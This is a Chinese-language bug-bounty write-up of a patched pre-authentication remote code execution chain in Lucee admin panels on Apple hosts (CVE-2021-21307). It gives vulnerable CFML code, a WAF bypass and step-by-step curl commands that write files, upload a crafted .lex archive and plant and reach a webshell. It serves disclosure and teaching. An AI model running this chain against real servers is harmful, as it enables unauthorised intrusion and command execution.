在阅读了对苹果公司3个月的渗透,我们都发现了什么这篇博文后,国外另一个团队也开始对 Apple 进行Web漏洞挖掘,而他们的目标是关注关键发现,例如 PII 级别的暴露或访问 Apple 的服务器/内部网络。
侦察和指纹识别:
在查看侦察数据并对正在运行的服务进行指纹识别时,他们团队发现了三台由 Lucee 支持的 CMS 服务器。
https://github.com/lucee/Lucee/
由于 CMS 和 Lucee 都可以轻松地在本地托管,因此它们成为了攻击的首选目标,之所以选择 Lucee,是因为它曾暴露过一个管理面板漏洞:
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
Lucee 的管理面板可以在三个不同的 Apple 主机上访问,两个运行的是过时版本,另一个运行的是较新版本。
https://facilities.apple.com/ (较新版本)
https://booktravel.apple.com/ (过时版本)
https://booktravel-uat.apple.com/ (过时版本)
Apple WAF:
要利用下面讨论的漏洞,首先需要了解 Apple 使用的 WAF,以及facilities.apple.com 的前端服务器如何与其交互。
Apple 有一个非常“难搞”的 WAF,它通过 URL(查询参数)阻断了几乎所有尝试的路径遍历/SQLi。
facilities.apple.com 的前端服务器(反向代理)配置为仅显示来自后端服务器的状态代码为 200 和 404 的响应,如果你在后端获得任何其它状态代码,前端服务器将默认为403 ,这与触发 WAF 时的响应相同。
Lucee 配置错误:
在本地测试 Lucee 时,该团队遇到了一个严重的错误配置,它能够允许攻击者直接访问经过身份验证的 CFM (ColdFusion) 文件,这使得他们能够在未经身份验证的情况下执行大量经过身份验证的操作。
因为未通过管理员身份验证,只要点击 CFM 文件中的 request.admintype 变量/属性,执行流程就会停止,但是,执行该检查之前的任何代码必须在它们命中 request.admintype 之前找到有某种错误的文件。
于是该团队利用以下三个文件在 Lucee 安装上获得了完整的 pre-auth/unauth RCE:
imgProcess.cfm(旧版本不可用)
admin.search.index.cfm 文件
ext.applications.upload.cfm 文件
失败的尝试:
imgProcess.cfm 中的简单 RCE
为了复刻 Apple 的安装,该团队在本地运行了相同版本的 Lucee ,在没有任何参数的情况下打开 imgProcess.cfm 会使安装出现异常,在 Apple 的服务器上打开它时会返回403,这意味着该文件是存在的,那么就意味着必须指定正确的参数/值,否则后端服务器将会异常,前端服务器将为该异常返回403错误。
错误参数/值:
正确参数/值:
这里有一个路径遍历漏洞,可以在服务器上的任何位置创建一个指定内容的文件。
<cfoutput>
<cffile action="write"
file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#"
Output="#form.imgSrc#"
createPath="true">
</cfoutput>
这需要一个查询参数文件并使用以下行将其创建为一个文件:{temp-directory}/admin-ext-thumbnails/__{our-input},我们的输入可以通过后置参数 imgSrc 来定义。
正如以上所看到的,__目录必须在执行路径遍历之前存在,因为 Linux 在执行遍历之前需要路径存在,幸运的是,如果路径不存在,expandPath 会创建路径并将路径作为字符串返回,因此,传递 file=/../../../context/pwn.cfm 将创建 __目录并遍历到 webroot 中的上下文目录,从而在此处为该团队提供了 ezz RCE。
然而,即使有这个漏洞,也无法在 Apple 的实际环境中利用它,因为 WAF 会阻止查询参数中的 ../ ,此端点特别要求文件参数为查询参数(url.file 而非 form.imgSrc),如果两者都是表单或发布参数,就不会触发 WAF,那么就可以使用此端点在特定目录中创建我们所能控制名称和内容的文件。
如何避免触发WAF?
admin.search.index.cfm 允许指定一个目录并将其内容复制到想要的位置,但是,复制功能非常棘手,不会真正复制文件内容,也不会保留文件扩展名。
这个端点有两个参数:
dataDir
luceeArchiveZipPath
dataDir 是你要将文件复制到的路径,该路径通过 luceeArchiveZipPath 参数指定,如果路径不存在,则会创建它,因此在这里可以传递一个绝对路径。
<cfif not directoryExists(dataDir)>
<cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" />
</cfif>
示例请求:
GET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1
Host: facilities.apple.com
User-Agent: Mozilla/5.0
Connection: close
因为知道不是标准的复制功能,因此需要更深入地研究负责执行此操作的代码。
该团队注意到一个有趣的 CFML 标签:
<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />
它列出了 luceeArchiveZipPath 目录中的文件,filter 属性表示仅列出格式为 *.*.cfm 的文件,查询结果存储在“qFiles”变量中。
接下来,它遍历每个文件(存储在变量 currFile 中),将文件名中出现的“.cfm”替换为空白字符串“ ”,并将更新后的文件名存储在 currAction 变量中,因此,如果我们有一个 test.xyz.cfm 文件,它就变成了 test.xyz。
<cfset currAction = replace(qFiles.name, '.cfm', '') />
随后,它会检查 dataDir 目录中是否存在类似“test.xyz.en.txt”或“test.xyz.de.txt”的文件名,同样,dataDir 由用户控制,如果此文件不存在,它会将文件名中的点 ('.') 替换为空格并将其保存到 pageContents.lng.currAction 变量中。
<cfif fileExists('#dataDir##currAction#.#lng#.txt')>
<cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') />
<cfelse>
<!--- make sure we will also find this page when searching for the file name--->
<cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " />
</cfif>
然后,文件 test.xyz.<lang> .txt 被创建并且 pageContents.lng.currAction 变量的值成为它的内容。
不幸的是,它创建了 .txt 文件,但文件内容来自文件名本身。接下来你将看到他们是如何一步步地利用文件名本身来做一些有趣的事!
接着将 currFile 的内容存入data变量,过滤掉内容不符合正则表达式 [''"##]stText\..+?[''"##] 的文件,并将它们放入 finds 数组中。
<cfset data = fileread(currFile) />
<cfset finds = rematchNoCase('[''"##]stText\..+?[''"##]', data) />
然后它遍历 finds 数组并检查每个项目是否作为键存在,如果没有,它将创建键并将其存储在 searchresults 变量中。
<cfloop array="#finds#" index="str">
<cfset str = rereplace(listRest(str, '.'), '.$', '') />
[..snip..]
<cfif structKeyExists(translations.en, str)>
<cfif not structKeyExists(searchresults[str], currAction)>
<cfset searchresults[str][currAction] = 1 />
<cfelse>
<cfset searchresults[str][currAction]++ />
</cfif>
</cfif>
</cfloop>
最后,这些键(即 searchresults 变量)以 JSON 格式存储在 dataDir 目录内名为“searchindex.cfm”的文件中。
<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />
facilities.apple.com 上的RCE:
我们可以控制将文件复制到的目录(利用 dataDir 参数),并且可以指定要从中复制文件的目录(luceeArchiveZipPath 参数)。
现在,如果可以创建一个名为 server.xml 的文件,<cffile action=write file=#Url['f']# output=#Url['content']#> .cfm 的内容为“#stText.xf#”,那么我们就可以通过 luceeArchiveZipPath 将其路径传递给 admin.search.index.cfm。
由于这个关键的服务器,<cffile action=write file=#Url['f']# output=#Url['content']#> .cfm 不存在,它将被创建并将其写入名为 searchindex.cfm 的文件中,这就意味我们可以用 dataDir 参数指定的任意目录下控制searchindex.cfm 文件中的CFML标签(类似于PHP标签),于是我们就可以使用webroot路径在服务器上执行代码了!
我们可以利用 imgProcess.cfm 创建一个文件服务器,<cffile action=write file=#Url['f']# output=#Url['content']#> 目标文件系统上的 .cfm,其内容与 RegExp [''"##]stText\..+?[''"##] 匹配。
这种尝试不会触发 WAF,因为我们没有在这里进行路径遍历。
GetShell步骤:
创建一个名为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm ,文本内容为"#stText.x.f#"(匹配正则表达式),然后对文件名进行 URL 编码,因为后端 (tomcat) 会过滤某些字符。
curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'
复制文件名以准备代码执行:
curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'
编写shell触发代码执行:
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
访问WebShell:
https://facilities.apple.com/lucee/rootxharsh/PoC.cfm
其它主机呢?
因为 imgProcess.cfm 在旧版本中不可用,所以必须找到其它方法在另外两台主机上获取 RCE,该团队使用了另一种巧妙的方式。
未经身份验证的 .lex 文件上传
ext.applications.upload.cfm 部分未经验证,代码片段相当简单,我们需要传递文件扩展名设置为 .lex 的 extfile 表单参数,否则将会获得一个异常。
<cfif not structKeyExists(form, "extfile") or form.extfile eq "">
...
</cfif>
<!--- try to upload (.zip and .re) --->
<cftry>
<cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" />
<cfif cffile.serverfileext neq "lex">
<cfthrow message="Only .lex is allowed as extension!" />
</cfif>
<cfcatch>
...
</cfcatch>
</cftry>
<cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\\]$', '')##server.separator.file##cffile.serverfile#" />
通过这段代码,使用 .lex 扩展名:
<cfif cffile.serverfileext eq "lex">
...
type="#request.adminType#"
...
</cfif>
因为没有设置 request.admintype,所以会导致异常,但是,我们的文件仍然在到达前被上传,可以在此处确认:
一个 .lex 文件只不过是一个存档或一个带有 '.lex' 扩展名的 zip 文件,它实际上是我们可以上传的 Lucee 扩展名的一种格式,此外,由于没有检查文件内容,因此我们可以将其设置为任何内容。
利用要点:
通过使用 Lucee,我们知道它允许使用 zip://、 等协议,因此我们可以在完全控制文件系统函数的任意位置指定它(在本例中为 luceeArchiveZipPath)。
现在可以利用 ext.applications.upload.cfm 创建 .lex 文件,该文件将包含一个名为服务器文件的 ZIP 存档,<cffile action=write file=#Url['f']# output=#Url['content']#> .cfm 的内容为 “#stText.xf#”。
一旦在文件系统上有了 ZIP 存档,我们就可以在 luceeArchiveZipPath 变量中使用 zip:// 协议在 ZIP 存档中查询 *.*.cfm 文件了。
在另外 2 台主机上获取 Shell
创建一个名为
server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm 的文件,文件内容为“#stText.xf#”,并将其压缩为 payload.lex。
通过前面提到的 ext.applications.upload.cfm 来上传未经验证的 .lex 文件。
curl -vv -F [email protected] https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
在文件系统上配置任意 .lex(zip 存档)和 zip:// 方案,可以通过:
curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
现在,文件名
server.<cffile action=write file=#Url['f']# output=#Url['content']#> .cfm 的文件已作为文本添加到 / 下的 searchindex.cfm 文件中<lucee web>/context/exploit/ 目录下。
我们可以通过
https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm 访问它。
向
https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell
发出请求创建 WebShell
Webshell: https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id
结论:
苹果公司迅速解决了该问题,并向该团队提供了总计 50,000 美元的赏金奖励。
另一方面,该团队和苹果公司以及 Lucee 团队交流, Lucee 团队还通过直接限制对 cfm 文件的访问修复了该漏洞,并分配了CVE编号 CVE-2021-21307。
感谢阅读,希望对你有更多的启发~
====正文结束====